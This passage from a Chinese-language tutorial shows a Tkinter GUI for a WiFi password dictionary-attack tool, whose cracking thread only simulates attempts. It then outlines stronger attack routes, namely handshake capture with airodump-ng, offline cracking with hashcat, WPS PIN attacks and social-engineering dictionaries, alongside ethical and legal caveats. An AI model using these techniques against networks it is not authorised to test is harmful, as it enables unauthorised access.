            title="选择密码字典文件",
            filetypes=[("文本文件", "*.txt"), ("所有文件", "*.*")]
        )
        if filename:
            self.dict_path_var.set(filename)
            self.logger.info(f"已选择字典文件: {filename}")
            self.check_ready_state()
    
    def check_ready_state(self):
        """检查是否可以开始（WIFI和字典都已选择）"""
        if self.wifi_combobox.get() and self.dict_path_var.get() != "请选择字典文件...":
            self.start_button.config(state="normal")
            self.status_var.set("就绪。可以点击“开始测试”。")
        else:
            self.start_button.config(state="disabled")
    
    def start_cracking(self):
        """开始破解过程"""
        target_ssid = self.wifi_combobox.get()
        dict_file = self.dict_path_var.get()
        
        self.logger.info(f"开始对 '{target_ssid}' 进行测试，使用字典: {dict_file}")
        self.status_var.set("测试进行中...")
        
        # 禁用开始按钮，启用停止按钮
        self.start_button.config(state="disabled")
        self.scan_button.config(state="disabled")
        self.browse_button.config(state="disabled")
        self.wifi_combobox.config(state="disabled")
        self.stop_button.config(state="normal")
        
        # 创建并启动破解线程
        self.stop_event.clear()
        self.cracker_thread = threading.Thread(target=self.crack_thread_func, args=(target_ssid, dict_file), daemon=True)
        self.cracker_thread.start()
    
    def crack_thread_func(self, ssid, dict_file):
        """在后台线程中运行破解逻辑"""
        # 这里可以调用之前写的 EnhancedWiFiCracker 类
        # 为了简化示例，这里写一个模拟的长时间运行任务
        self.logger.info("模拟破解任务开始...")
        # ... (这里应该实例化你的破解类并运行)
        # 例如: cracker = EnhancedWiFiCracker(ssid, dict_file, max_threads=4)
        # cracker.start()
        
        # 模拟过程
        passwords_to_try = ["12345678", "password", "admin123", ssid + "123", "1234567890"]
        for i, pwd in enumerate(passwords_to_try):
            if self.stop_event.is_set():
                self.logger.warning("任务被用户停止。")
                break
            time.sleep(1)  # 模拟尝试一个密码的时间
            self.logger.info(f"尝试密码 ({i+1}/{len(passwords_to_try)}): {pwd}")
        
        # 任务结束，恢复UI
        self.root.after(0, self.on_cracking_finished)
    
    def stop_cracking(self):
        """停止破解过程"""
        self.stop_event.set()
        self.logger.warning("正在停止任务...")
        self.status_var.set("正在停止...")
        self.stop_button.config(state="disabled")
    
    def on_cracking_finished(self):
        """破解完成后的清理工作"""
        self.start_button.config(state="normal")
        self.scan_button.config(state="normal")
        self.browse_button.config(state="normal")
        self.wifi_combobox.config(state="readonly")
        self.stop_button.config(state="disabled")
        self.status_var.set("任务结束。")
        self.logger.info("测试任务完成。")

if __name__ == "__main__":
    root = tk.Tk()
    app = WiFiCrackerGUI(root)
    root.mainloop()

这个GUI程序提供了一个直观的操作界面。用户无需记住任何命令，只需点几下鼠标就能开始测试。当然，这只是一个框架，你需要把之前写的EnhancedWiFiCracker类的核心逻辑整合到crack_thread_func函数中。整合时要注意，所有对GUI的更新（比如更新状态、添加日志）都必须通过self.root.after()方法回到主线程执行，否则会导致程序崩溃。

8. 局限、伦理与更高级的思路

通过前面几个部分的实践，我们已经构建了一个功能相对完整的WIFI密码字典测试工具。但是，我必须再次强调它的局限性和使用边界。

首先，关于成功率。正如文章开头所说，这种方法的成功率完全依赖于密码字典。对于设置了强密码（长于12位，包含大小写字母、数字和特殊字符，且无规律）的WIFI，靠字典猜中的概率微乎其微，可能比你中彩票还低。现代路由器的WPA2/WPA3加密算法本身非常安全，暴力穷举所有可能组合在时间上是不可行的。所以，这个工具更适用于检测你自己或你授权管理的网络是否存在弱口令风险。你可以用它来测试你的家庭WIFI密码是否过于简单，从而及时更换为更复杂的密码。

其次，关于速度。即使使用了多线程，由于每次连接尝试都需要几秒钟的握手和超时等待，尝试速度存在物理上限。一个包含十万条密码的字典，即使用8个线程，也可能需要数十小时才能跑完。这远不如专业的“抓包+离线破解”方式高效，后者抓取一次握手包后，可以在高性能电脑甚至GPU上以每秒数百万甚至上亿次的速度进行哈希碰撞计算。

那么，更高级的思路是什么？

1. 抓包分析：使用airodump-ng（Linux下）等工具监听无线流量，捕获WIFI客户端与路由器之间的“握手包”（Handshake）。这个握手包包含了加密后的密码验证信息。一旦捕获到，就可以断开与目标网络的交互，在本地用hashcat或john等专业工具进行离线暴力破解或字典攻击。这种方式不依赖于实时连接尝试，速度可以极快，且对目标网络干扰更小（仅在抓包时需要客户端连接）。
2. PIN码攻击：针对一些老旧路由器支持的WPS（Wi-Fi Protected Setup）功能。WPS的PIN码是8位数字，理论上只有11000种可能，且校验机制存在漏洞，可以在几小时内破解。但请注意，越来越多的新路由器已默认关闭或禁用了WPS功能。
3. 社会工程学与信息收集：这才是提升字典攻击效率的真正“黑科技”。通过收集目标的相关信息（如公司名、电话号码、生日、常用词汇等）来生成高度定制化的字典，可以极大提高命中率。但这需要技巧和耐心。

最后，也是最重要的：伦理与法律。 未经授权访问他人的计算机信息系统是明确的违法行为。本文所有内容仅供网络安全知识学习和授权下的安全测试之用。请务必仅在你拥有完全所有权的网络设备上实践这些代码，或者在进行渗透测试前获得目标的书面明确授权。技术是一把双刃剑，用来加固自己的盾，而不是成为攻击他人的矛。

我写这个工具和这篇文章的初衷，是希望你能通过动手实践，理解WIFI安全的基本原理，认识到弱口令的危害，从而更好地保护自己的网络。在实际使用中，我发现它最大的价值是让我养成了设置复杂密码的习惯，并且会定期用它来检查自己的网络是否安全。希望它对你也有同样的启发。